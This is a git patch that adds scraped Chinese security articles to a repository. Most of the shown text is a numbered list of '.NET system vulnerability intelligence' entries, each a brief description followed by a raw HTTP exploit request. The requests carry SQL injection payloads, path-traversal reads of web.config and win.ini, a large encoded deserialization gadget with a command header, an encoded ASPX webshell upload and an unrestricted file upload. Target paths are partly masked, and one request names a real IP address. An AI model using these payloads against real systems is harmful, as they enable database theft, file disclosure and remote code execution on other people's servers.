From 0f04a01dfa52811bc331e011841a329e91939d6b Mon Sep 17 00:00:00 2001 From: test Date: Tue, 10 Dec 2024 00:55:32 +0000 Subject: [PATCH] =?UTF-8?q?49=E5=A5=97.NET=E7=B3=BB=E7=BB=9F=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E5=A8=81=E8=83=81=E6=83=85=E6=8A=A5(12.10=E6=9B=B4?= =?UTF-8?q?=E6=96=B0)=E3=80=81Nuclei=20AI=20-=20=E8=AE=A9=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E5=8F=91=E7=8E=B0=E6=9B=B4=E5=8A=A0=E6=99=BA=E8=83=BD?= =?UTF-8?q?=E5=8C=96=E4=B8=8E=E9=AB=98=E6=95=88=E3=80=81=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E9=A2=84=E8=AD=A6=20|=20=E5=AE=89=E7=A7=91=E7=91=9E=E7=8E=AF?= =?UTF-8?q?=E4=BF=9D=E7=94=A8=E7=94=B5=E7=9B=91=E7=AE=A1=E4=BA=91=E5=B9=B3?= =?UTF-8?q?=E5=8F=B0SQL=E6=B3=A8=E5=85=A5=E6=BC=8F=E6=B4=9E=E3=80=81?= =?UTF-8?q?=E5=B7=A5=E5=85=B7=20|=20FastjsonExploit=E3=80=81CVE-2018-15664?= =?UTF-8?q?:Docker=C2=A0CP=E4=BB=BB=E6=84=8F=E8=AF=BB=E5=86=99=E4=B8=BB?= =?UTF-8?q?=E6=9C=BA=E6=96=87=E4=BB=B6=E3=80=81=E3=80=900day=E3=80=91?= =?UTF-8?q?=E5=AE=89=E5=BE=BD=E7=94=9F=E5=91=BD=E6=B8=AF=E6=B9=BE=E4=BF=A1?= =?UTF-8?q?=E6=81=AF=E6=8A=80=E6=9C=AF=E6=9C=89=E9=99=90=E5=85=AC=E5=8F=B8?= =?UTF-8?q?=E6=9C=8D=E5=8A=A1=E9=85=8D=E7=BD=AE=E5=B7=A5=E5=85=B7=E5=AD=98?= =?UTF-8?q?=E5=9C=A8=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8B=E8=BD=BD?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E3=80=81=E5=AE=89=E5=85=A8=E5=8D=AB=E5=A3=AB?= =?UTF-8?q?=20|=20=E9=AD=94=E6=96=B9=E5=AE=89=E5=85=A8=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E5=91=A8=E6=8A=A5=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 9 +- ...ET系统漏洞威胁情报(12.10更新).md | 1247 +++++++++++++++++ ...5664:Docker CP任意读写主机文件.md | 162 +++ ...让漏洞发现更加智能化与高效.md | 71 + ...置工具存在任意文件下载漏洞.md | 130 ++ ...安全卫士 | 魔方安全漏洞周报.md | 241 +++- doc/工具 | FastjsonExploit.md | 23 + ...保用电监管云平台SQL注入漏洞.md | 13 +- 8 files changed, 1832 insertions(+), 64 deletions(-) create mode 100644 doc/49套.NET系统漏洞威胁情报(12.10更新).md create mode 100644 doc/CVE-2018-15664:Docker CP任意读写主机文件.md create mode 100644 doc/Nuclei AI - 让漏洞发现更加智能化与高效.md create mode 100644 doc/【0day】安徽生命港湾信息技术有限公司服务配置工具存在任意文件下载漏洞.md create mode 100644 doc/工具 | FastjsonExploit.md diff --git a/data.json b/data.json index 03b1dc06..75828b48 100644 --- a/data.json +++ b/data.json @@ -1218,5 +1218,12 @@ "https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247502580&idx=1&sn=6c73b0ed8291424bf945a368d40498c1": "安全热点周报：新的 Windows 零日漏洞暴露 NTLM 凭据，已获得非官方补丁", "https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247496891&idx=1&sn=9c8fd99b9ddc86cb7f57bee467702ab5": "TimelineSec助力2024漏洞马拉松活动，史无前例反爬专项单个奖励最高5w！", "https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247551853&idx=1&sn=ed4347c2164a771f0ba762ebd7940c96": "Spring漏洞测试与利用", - "https://mp.weixin.qq.com/s?__biz=Mzk0MTQ5NjI2Ng==&mid=2247486366&idx=1&sn=41dcf0e70589bd41d82cb1b369b42865": "数据安全新动态（2024年11月）" + "https://mp.weixin.qq.com/s?__biz=Mzk0MTQ5NjI2Ng==&mid=2247486366&idx=1&sn=41dcf0e70589bd41d82cb1b369b42865": "数据安全新动态（2024年11月）", + "https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247497381&idx=3&sn=8636f9e208f208c153d7ab0957f3d4ff": "49套.NET系统漏洞威胁情报(12.10更新)", + "https://mp.weixin.qq.com/s?__biz=MzkyNzIxMjM3Mg==&mid=2247488511&idx=1&sn=7a651145360443820b3f940e3734193e": "Nuclei AI - 让漏洞发现更加智能化与高效", + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491682&idx=2&sn=976fbe42f73cc5380687be1c5227d1bc": "漏洞预警 | 安科瑞环保用电监管云平台SQL注入漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491682&idx=4&sn=a0dc4444764ab2ef9ba32da241a71790": "工具 | FastjsonExploit", + "https://mp.weixin.qq.com/s?__biz=Mzg4MTU4NTc2Nw==&mid=2247493826&idx=2&sn=2f70d68dfd020f5c120e5f7d596b9b81": "CVE-2018-15664:Docker CP任意读写主机文件", + "https://mp.weixin.qq.com/s?__biz=MzU3MjU4MjM3MQ==&mid=2247488835&idx=1&sn=383eabd7e635fe856fbc2899b7f119b8": "【0day】安徽生命港湾信息技术有限公司服务配置工具存在任意文件下载漏洞", + "https://mp.weixin.qq.com/s?__biz=MzI3NzA5NDc0MA==&mid=2649291910&idx=1&sn=cce3441e3c4e73b5d7381cac3619dd88": "安全卫士 | 魔方安全漏洞周报" } \ No newline at end of file diff --git a/doc/49套.NET系统漏洞威胁情报(12.10更新).md b/doc/49套.NET系统漏洞威胁情报(12.10更新).md new file mode 100644 index 00000000..484bde05 --- /dev/null +++ b/doc/49套.NET系统漏洞威胁情报(12.10更新).md @@ -0,0 +1,1247 @@ +# 49套.NET系统漏洞威胁情报(12.10更新) +专攻.NET安全的 dotNet安全矩阵 2024-12-10 00:20 + +49 + +某环保监管系统文件SQL注入 +## 49.1 漏洞概述 + +某 +环保监管平台依托创新的物联网电力传感技术，实时采集企业总用电、生产设备及环保治理设备用电数据，该系统某个接口存在注入风险。 + +``` +GET /Main**r/GetEnterprise***Id?EnterpriseId=%27+UNION+ALL+SELECT+NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x716a627871%2C0x647a457071654e45644d4c627a716c4d7948505a4d67756a786c70576a5a4f7749627a5449486562%2C0x7178767171%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23 HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +``` + + + +48 + +某景ERP系统文件读取漏洞 +## 48.1 漏洞概述 + +某景ERP是一款功能全面、高度集成、易于扩展的企业管理软件，能够帮助制造企业实现智能化、精益化管理，提升企业的竞争力和盈利能力。 + +``` +GET /api/Down***/File?File**=/../web.config&Title= HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Accept: Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close +``` + + + +47 + +某行ERM系统SQL注入漏洞 +## 47.1 漏洞概述 + +某行协同CRM普及版CommonDict/Edit 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。 + +``` +POST /crm/api/***/Common***/Edit?accesstoken=1&accesskey=1×tamp=1&nonce=1&signature=1 HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.9 +Connection: close +Content-Type: application/x-www-form-urlencoded + +enumType=69&data={"ID":"1","Name":"'+UNION+ALL+SELECT+@@VERSION--"} + +``` + + + +46 + +某克医疗系统SQL注入漏洞 +## 46.1 漏洞概述 + +某 +克电子技术有限公司医疗急救管理系统存在SQL注入漏洞。 +该应用的***Service存在SQL注入漏洞。 + +``` +POST /a**/****vice.asmx HTTP/1.1 +X-Requested-With: XMLHttpRequest +Cookie:  +SOAPAction: http://tempuri.org/GetAmbulance +Content-Type: text/xml +Content-Length: 296 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Encoding: gzip,deflate,br +User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE) +Host:  +Connection: Keep-alive + + + +  +  +   +   11' AND 6537 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(98)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (6537=6537) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(118)+CHAR(113)))-- ntgj +   +  + + +``` + + + +45 + +某地产ERP反序列化漏洞 +## 45.1 漏洞概述 + +某地产ERP是一款专为房地产行业设计的企业资源规划系统，该应用的***Service存在反序列化漏洞。 + +``` +POST /***Management/WebService/***Service.asmx HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 +Content-Type: text/xml; charset=utf-8 +SOAPAction: "http://tempuri.org/WriteLog" +cmd: dir +  + +   +     +       +        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 +       +     +   + +``` + + + +44 + +某普EAP平台文件读取漏洞 +## 44.1 漏洞概述 + +某普EAP企业管理平台 Download.aspx 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统文件，造成信息泄露。 + +``` +GET /ID**/Common/**/Download.aspx?FileName=web.config&FileTitle=2 HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36 +Content-Type:application/x-www-form-urlencoded +Accept: */* +Connection: Keep-Alive + +``` + + + +43 + +某户企业系统SQL注入漏洞 +## 43.1 漏洞概述 + +某户企业管理系统productlist.aspx存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。 + +``` +POST /**/productlist.aspx HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Encoding: gzip, deflate, br, zstd +Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7 +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded + +ob=price&price=asc&s**s=-1%29%3BDECLARE+%40%40proc_name+VARCHAR%28301%29%3BSet+%40%40proc_name%3DChar%28115%29%252bChar%28101%29%252bChar%28108%29%252bChar%28101%29%252bChar%2899%29%252bChar%28116%29%252bChar%2832%29%252bChar%2849%29%252bChar%2832%29%252bChar%28119%29%252bChar%28104%29%252bChar%28101%29%252bChar%28114%29%252bChar%28101%29%252bChar%2832%29%252bChar%2849%29%252bChar%2861%29%252bChar%2849%29%252bChar%2832%29%252bChar%2887%29%252bChar%2865%29%252bChar%2873%29%252bChar%2884%29%252bChar%2870%29%252bChar%2879%29%252bChar%2882%29%252bChar%2832%29%252bChar%2868%29%252bChar%2869%29%252bChar%2876%29%252bChar%2865%29%252bChar%2889%29%252bChar%2832%29%252bChar%2839%29%252bChar%2848%29%252bChar%2858%29%252bChar%2848%29%252bChar%2858%29%252bChar%2853%29%252bChar%2839%29%3BEXECUTE+%28%40%40proc_name%29%3B--a%2B + +``` + + +42 + +某飞达系统敏感信息泄露漏洞 +## 42.1 漏洞概述 + +某飞达系统***Login.asmx存在信息泄露漏洞，可以泄露账户密码。 + +``` +GET /webservices/**Login.asmx/GetUserInfoByUserID?userID=admin HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept: application/json, text/javascript, */*; q=0.01 +Accept-Encoding: gzip, deflate +Connection: keep-alive + +``` + + + +41 + +某智OA办公系统SQL注入漏洞 +## 41.1 漏洞概述 + +某智OA办公系统Login存在SQL注入漏洞，允许攻击者通过恶意构造的SQL语句操控数据库，从而导致数据泄露、篡改或破坏，严重威胁系统安全。 + +``` +POST /Acc**/Log**?ACT=Index&C**=Home HTTP/1.1Host: Upgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Encoding: gzip, deflateusername=2');WAITFOR+DELAY+'0:0:5'--&password=2&RememberMe=false +``` + + +40 + +某盟云SQL注入漏洞 +## 40.1 漏洞概述 + +某盟云系统接口 ajaxsenddingdingmessage 存在 SQL 注入漏洞，可能导致敏感信息泄露、数据盗窃及其他安全风险，从而对系统和用户造成严重漏洞 + +``` +POST /m/Ding**/Ajax/Ajax****Message.ashx HTTP/1.1 +Host: +Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9 +Connection: close +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, +like Gecko) Version/12.0.3 Safari/605.1.15X-Requested-With: XMLHttpRequest +Content-Length: 51 +action=**DingMeg_Mail&empId=1'+and+1=@@VERSION--+ + +``` + + + +39 + +某智慧平台文件读取漏洞 +## 39.1 漏洞概述 + +某智慧平台ExpDownload***.aspx任意文件读取漏洞，可能导致敏感信息泄露、数据盗窃及其他安全风险，从而对系统和用户造成严重危害。 + +``` +GET /ExpDownload***aspx?Downfile***=/web.config HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept: application/json, text/javascript, */*; q=0.01 +Accept-Encoding: gzip, deflate +Connection: keep-alive + +``` + + + +38 + +某知识系统文件上传漏洞 +## 38.1 漏洞概述 + +某知识系统 +接口存在文件上传漏洞，未经身份验证的远程攻击者可以实现RCE + +``` +POST /Auto***/WS**.asmx HTTP/1.1 +Host: +Content-Type: text/xml; charset=utf-8 +Content-Length: length +SOAPAction: "http://tempuri.org/UploadFileWordTemplate"  + + + +PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiIHZhbGlkYXRlUmVxdWVzdD0iZmFsc2UiICU+CjwlCnZhciBjPW5ldyBTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzc1N0YXJ0SW5mbygiY21kIik7CnZhciBlPW5ldyBTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcygpOwp2YXIgb3V0OlN5c3RlbS5JTy5TdHJlYW1SZ+ +1.aspx + + + + +``` + + + +37 + +某商业ERP系统SQL注入漏洞 +## 37.1 漏洞概述 + +某 +混ERP系统 Operater_Action接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息。 + +``` +GET /Di**/Operater_Action.as**?action=TaskComplete&id=1%27WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Connection: close + +``` + + + +36 + +某机械ERP文件读取漏洞 +## 36.1 漏洞概述 + +某机械ERP DownloadInpFile 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等 + +``` +GET /***/Download***?filePath=C:\windows\win.ini HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate +Connection: close + +``` + + + +35 + +某热电系统SQL注入漏洞 +## 35.1 漏洞概述 + +某 +热网系统 GetMenu** 接口处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。 + +``` +POST /DataSr**/UC**.asmx/GetMenu** HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +  +name=1') waitfor delay '0:0:5'-- + +``` + + +34 + +某订单系统SQL注入漏洞 +## 34.1 漏洞概述 + +某订单 +系统接口 + /ajax/****order.ashx 接口存在SQL注入 + +``` +POST /ajax/o****order.ashx HTTP/1.1 +Host:  +Content-Length: 42 +X-Requested-With: XMLHttpRequest +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 +Connection: keep-alive + +type=login&user_id=admin'&user_pwd=123456 +``` + + + +33 + +某企业管理系统SQL注入 +## 33.1 漏洞概述 + +** +系统接口 + /***/Login.as** +接口存在SQL注入漏洞 + +``` +POST /**/Login.as**?Date=%271721821198459%27 HTTP/1.1 +Host:  +Content-Length: 92 +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close + +username=admin*&password=admin123&loginguid=&logintype=pc + +``` + + + +32 + +某OA协同管理系统SQL注入 +## 32.1 漏洞概述 + +** +系统接口 + /C6/****.Web.Work***/DBModules.aspx 接口存在SQL注入漏洞 + +``` +GET /C6/***.Web.Work***/DBModules.aspx/?interfaceID=1;WAITFOR+DELAY+'0:0:5'-- HTTP/1.1 +Host: 123.57.26.236 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 + +``` + + + +31 + +某终端操作系统泄露敏感数据 +## 31.1 漏洞概述 + +** +系统接口 + /report/Park***/GetData** 接口存在敏感数据泄露漏洞 + +``` +POST /report/Park**/GetData** HTTP/1.1 +Host:  +Accept-Encoding: gzip, deflate +Accept-Language: en +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Connection: close +Content-Type: application/x-www-form-urlencoded +Content-Length: 17 + +page=1&rows=20000 + +``` + + + +30 + +某智慧校园系统文件上传漏洞 +## 30.1 漏洞概述 + +** +系统接口 + /Module/File***/FileUp**.aspx 存在文件上传漏洞 + +``` +POST /Moudule/File**/FileUp***.aspx HTTP/1.1 +Host:  +Content-Type: multipart/form-data; boundary=----21909179191068471382830692394 +Connection: close +  +------21909179191068471382830692394 +Content-Disposition: form-data; name="File"; filename="23.aspx" +Content-Type: image/jpeg +  +123 +------21909179191068471382830692394-- + +``` + + + +29 + +某智慧校园系统文件读取漏洞 +## 29.1 漏洞概述 + +** +系统接口 + /Module/File***/Down**.aspx 存在SQL +注入漏洞 + +``` +POST Module/File***/Down**.aspx HTTP/1.1 +Host: x +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 + 